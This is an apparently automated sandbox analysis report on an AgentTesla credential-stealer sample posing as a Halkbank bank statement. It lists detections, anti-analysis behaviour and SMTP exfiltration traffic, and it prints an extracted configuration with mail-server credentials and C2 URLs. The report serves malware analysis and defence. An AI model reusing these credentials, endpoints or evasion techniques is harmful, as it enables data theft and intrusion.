Play interactive tour

Edit tour

Analysis Report Halkbank_Ekstre_20210113_162325_384771.exe

Overview

General Information

Sample Name:	Halkbank_Ekstre_20210113_162325_384771.exe
Analysis ID:	339368
MD5:	8bdf3d3cb7c7680df5b8d6385dc5db82
SHA1:	442eaa27d23dc72fd96c9d2d984068669afbeb5d
SHA256:	a3c564db9537f84073828e42af85c0558e763cb211e80bd4653e429ecb62ce8b
Tags:	AgentTeslaexegeoHalkbankTUR
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected AgentTesla

.NET source code contains very large array initializations

C2 URLs / IPs found in malware configuration

Machine Learning detection for sample

Maps a DLL or memory area into another process

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Antivirus or Machine Learning detection for unpacked file

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains strange resources

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Startup

System is w10x64

Halkbank_Ekstre_20210113_162325_384771.exe (PID: 4684 cmdline: 'C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe' MD5: 8BDF3D3CB7C7680DF5B8D6385DC5DB82)

Halkbank_Ekstre_20210113_162325_384771.exe (PID: 6128 cmdline: 'C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe' MD5: 8BDF3D3CB7C7680DF5B8D6385DC5DB82)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Username: ": "VVkDExoCFG4o1k", "URL: ": "http://2cRhONggGD4U87PUSY.com", "To: ": "muhasebe@ceotech.com.tr", "ByHost: ": "mail.ceotech.com.tr:587", "Password: ": "JRuuV68u86gFWkr", "From: ": "muhasebe@ceotech.com.tr"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.628915716.00000000054D2000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.625929224.0000000003020000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.628470056.0000000004091000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.253943134.0000000000F70000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.624730399.0000000001209000.00000004.00000020.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Halkbank_Ekstre_20210113_162325_384771.exe PID: 6128	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Halkbank_Ekstre_20210113_162325_384771.exe PID: 6128	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.Halkbank_Ekstre_20210113_162325_384771.exe.3020000.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.Halkbank_Ekstre_20210113_162325_384771.exe.54d0000.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.Halkbank_Ekstre_20210113_162325_384771.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Halkbank_Ekstre_20210113_162325_384771.exe.f70000.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Halkbank_Ekstre_20210113_162325_384771.exe.f70000.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.Halkbank_Ekstre_20210113_162325_384771.exe.3020000.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.Halkbank_Ekstre_20210113_162325_384771.exe.400000.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 2 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus / Scanner detection for submitted sample

Show sources

Source: Halkbank_Ekstre_20210113_162325_384771.exe

Avira: detected

Found malware configuration

Show sources

Source: Halkbank_Ekstre_20210113_162325_384771.exe.6128.1.memstr

Malware Configuration Extractor: Agenttesla {"Username: ": "VVkDExoCFG4o1k", "URL: ": "http://2cRhONggGD4U87PUSY.com", "To: ": "muhasebe@ceotech.com.tr", "ByHost: ": "mail.ceotech.com.tr:587", "Password: ": "JRuuV68u86gFWkr", "From: ": "muhasebe@ceotech.com.tr"}

Multi AV Scanner detection for submitted file

Show sources

Source: Halkbank_Ekstre_20210113_162325_384771.exe	Virustotal: Detection: 36%			Perma Link
Source: Halkbank_Ekstre_20210113_162325_384771.exe	ReversingLabs: Detection: 45%

Machine Learning detection for sample

Show sources

Source: Halkbank_Ekstre_20210113_162325_384771.exe

Joe Sandbox ML: detected

Source: 0.0.Halkbank_Ekstre_20210113_162325_384771.exe.ec0000.0.unpack	Avira: Label: TR/ATRAPS.Gen
Source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.54d0000.5.unpack	Avira: Label: TR/Spy.Gen8
Source: 1.0.Halkbank_Ekstre_20210113_162325_384771.exe.ec0000.0.unpack	Avira: Label: TR/ATRAPS.Gen
Source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8
Source: 0.2.Halkbank_Ekstre_20210113_162325_384771.exe.ec0000.0.unpack	Avira: Label: TR/ATRAPS.Gen
Source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.ec0000.1.unpack	Avira: Label: TR/ATRAPS.Gen

Source: Halkbank_Ekstre_20210113_162325_384771.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: Halkbank_Ekstre_20210113_162325_384771.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wntdll.pdbUGP source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000000.00000003.249231876.000000001AA10000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000000.00000003.249231876.000000001AA10000.00000004.00000001.sdmp

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Code function: 1_2_00404A29 FindFirstFileExW,

1_2_00404A29

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49711 -> 109.232.220.251:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49712 -> 109.232.220.251:587

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: http://2cRhONggGD4U87PUSY.com

Source: global traffic

TCP traffic: 192.168.2.7:49711 -> 109.232.220.251:587

Source: Joe Sandbox View

ASN Name: AEROTEK-ASTR AEROTEK-ASTR

Source: global traffic

TCP traffic: 192.168.2.7:49711 -> 109.232.220.251:587

Source: unknown

DNS traffic detected: queries for: mail.ceotech.com.tr

Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp	String found in binary or memory: http://2cRhONggGD4U87PUSY.com
Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp	String found in binary or memory: http://2cRhONggGD4U87PUSY.comt
Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp	String found in binary or memory: http://FStglU.com
Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.628097347.00000000033E1000.00000004.00000001.sdmp	String found in binary or memory: http://ceotech.com.tr
Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.628097347.00000000033E1000.00000004.00000001.sdmp	String found in binary or memory: http://mail.ceotech.com.tr
Source: Halkbank_Ekstre_20210113_162325_384771.exe	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

System Summary:

.NET source code contains very large array initializations

Show sources

Source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.54d0000.5.unpack, u003cPrivateImplementationDetailsu003eu007b3752B29Bu002dA071u002d43B4u002dA1DDu002dB2F2C00BE4FEu007d/u0037AC9F4C1u002d786Cu002d4F17u002d9724u002dE34B08F37C3F.cs

Large array initialization: .cctor: array initializer size 11938

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 0_2_00ED60C0	0_2_00ED60C0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 0_2_00ED683C	0_2_00ED683C
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 0_2_00ED0432	0_2_00ED0432
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 0_2_00ED55E0	0_2_00ED55E0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 0_2_00ED51BC	0_2_00ED51BC
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 0_2_00ED7991	0_2_00ED7991
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 0_2_00ECA951	0_2_00ECA951
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 0_2_00ECD929	0_2_00ECD929
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 0_2_00ED5B50	0_2_00ED5B50
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_0040A2A5	1_2_0040A2A5
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_00ED60C0	1_2_00ED60C0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_00ED683C	1_2_00ED683C
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_00ED0432	1_2_00ED0432
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_00ED55E0	1_2_00ED55E0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_00ED51BC	1_2_00ED51BC
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_00ED7991	1_2_00ED7991
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_00ECA951	1_2_00ECA951
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_00ECD929	1_2_00ECD929
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_00ED5B50	1_2_00ED5B50
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_010060C8	1_2_010060C8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_01002A08	1_2_01002A08
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_01004A50	1_2_01004A50
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_0100AAA0	1_2_0100AAA0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_01005428	1_2_01005428
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_01007F58	1_2_01007F58
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_0100C050	1_2_0100C050
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_0100E698	1_2_0100E698
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_01012D50	1_2_01012D50
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_0101F4E8	1_2_0101F4E8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_01011FE2	1_2_01011FE2
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_01012618	1_2_01012618
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_01019DB8	1_2_01019DB8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_0101F489	1_2_0101F489
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_01019AC3	1_2_01019AC3
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_012E99E0	1_2_012E99E0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_012E6068	1_2_012E6068
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_012EE318	1_2_012EE318
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_012EBA38	1_2_012EBA38
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_012E5E48	1_2_012E5E48
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_012E7190	1_2_012E7190
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_012ED817	1_2_012ED817

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: String function: 00EC715C appears 370 times
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: String function: 00EC9160 appears 64 times
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: String function: 00EC7021 appears 40 times
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: String function: 00EC6F06 appears 36 times
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: String function: 00EC6EF1 appears 84 times
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: String function: 00ECBFC3 appears 38 times

Source: Halkbank_Ekstre_20210113_162325_384771.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000000.00000003.252138972.000000001ACBF000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Halkbank_Ekstre_20210113_162325_384771.exe
Source: Halkbank_Ekstre_20210113_162325_384771.exe	Binary or memory string: OriginalFilename vs Halkbank_Ekstre_20210113_162325_384771.exe
Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.628915716.00000000054D2000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameDcEdwonAXzKWxMNmQOCUH.exe4 vs Halkbank_Ekstre_20210113_162325_384771.exe
Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.623266381.0000000000E70000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamewshom.ocx vs Halkbank_Ekstre_20210113_162325_384771.exe
Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.623515086.0000000000FF8000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Halkbank_Ekstre_20210113_162325_384771.exe
Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.629630125.00000000063C0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameKernelbase.dll.muij% vs Halkbank_Ekstre_20210113_162325_384771.exe
Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.625030855.00000000012F0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemscorrc.dllT vs Halkbank_Ekstre_20210113_162325_384771.exe

Source: Halkbank_Ekstre_20210113_162325_384771.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.54d0000.5.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.54d0000.5.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@2/1

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Code function: 1_2_00401489 GetModuleHandleW,GetModuleHandleW,FindResourceW,GetModuleHandleW,LoadResource,LockResource,GetModuleHandleW,SizeofResource,FreeResource,ExitProcess,

1_2_00401489

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

File created: C:\Users\user\AppData\Roaming\bdbdmgwj.xzv

Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Command line argument: Kernel32.dll	0_2_00EC1040
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Command line argument: User32.dll	0_2_00EC1040
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Command line argument: User32.dll	0_2_00EC1040
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Command line argument: IEUCIZEO	0_2_00EC1040
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Command line argument: Kernel32.dll	1_2_00EC1040
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Command line argument: User32.dll	1_2_00EC1040
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Command line argument: User32.dll	1_2_00EC1040
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Command line argument: IEUCIZEO	1_2_00EC1040

Source: Halkbank_Ekstre_20210113_162325_384771.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Halkbank_Ekstre_20210113_162325_384771.exe	Virustotal: Detection: 36%
Source: Halkbank_Ekstre_20210113_162325_384771.exe	ReversingLabs: Detection: 45%

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

File read: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe 'C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe'
Source: unknown	Process created: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe 'C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe'
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process created: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe 'C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe'	Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Halkbank_Ekstre_20210113_162325_384771.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wntdll.pdbUGP source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000000.00000003.249231876.000000001AA10000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000000.00000003.249231876.000000001AA10000.00000004.00000001.sdmp

Source: Halkbank_Ekstre_20210113_162325_384771.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Halkbank_Ekstre_20210113_162325_384771.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Halkbank_Ekstre_20210113_162325_384771.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Halkbank_Ekstre_20210113_162325_384771.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Halkbank_Ekstre_20210113_162325_384771.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe

Code function: 0_2_00ED1B13 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00ED1B13

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 0_2_00EC91A5 push ecx; ret	0_2_00EC91B8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_00401F16 push ecx; ret	1_2_00401F29
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_00EC91A5 push ecx; ret	1_2_00EC91B8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_01017A37 push edi; retn 0000h	1_2_01017A39
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Code function: 1_2_012ED5B0 push es; ret	1_2_012ED5C0

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
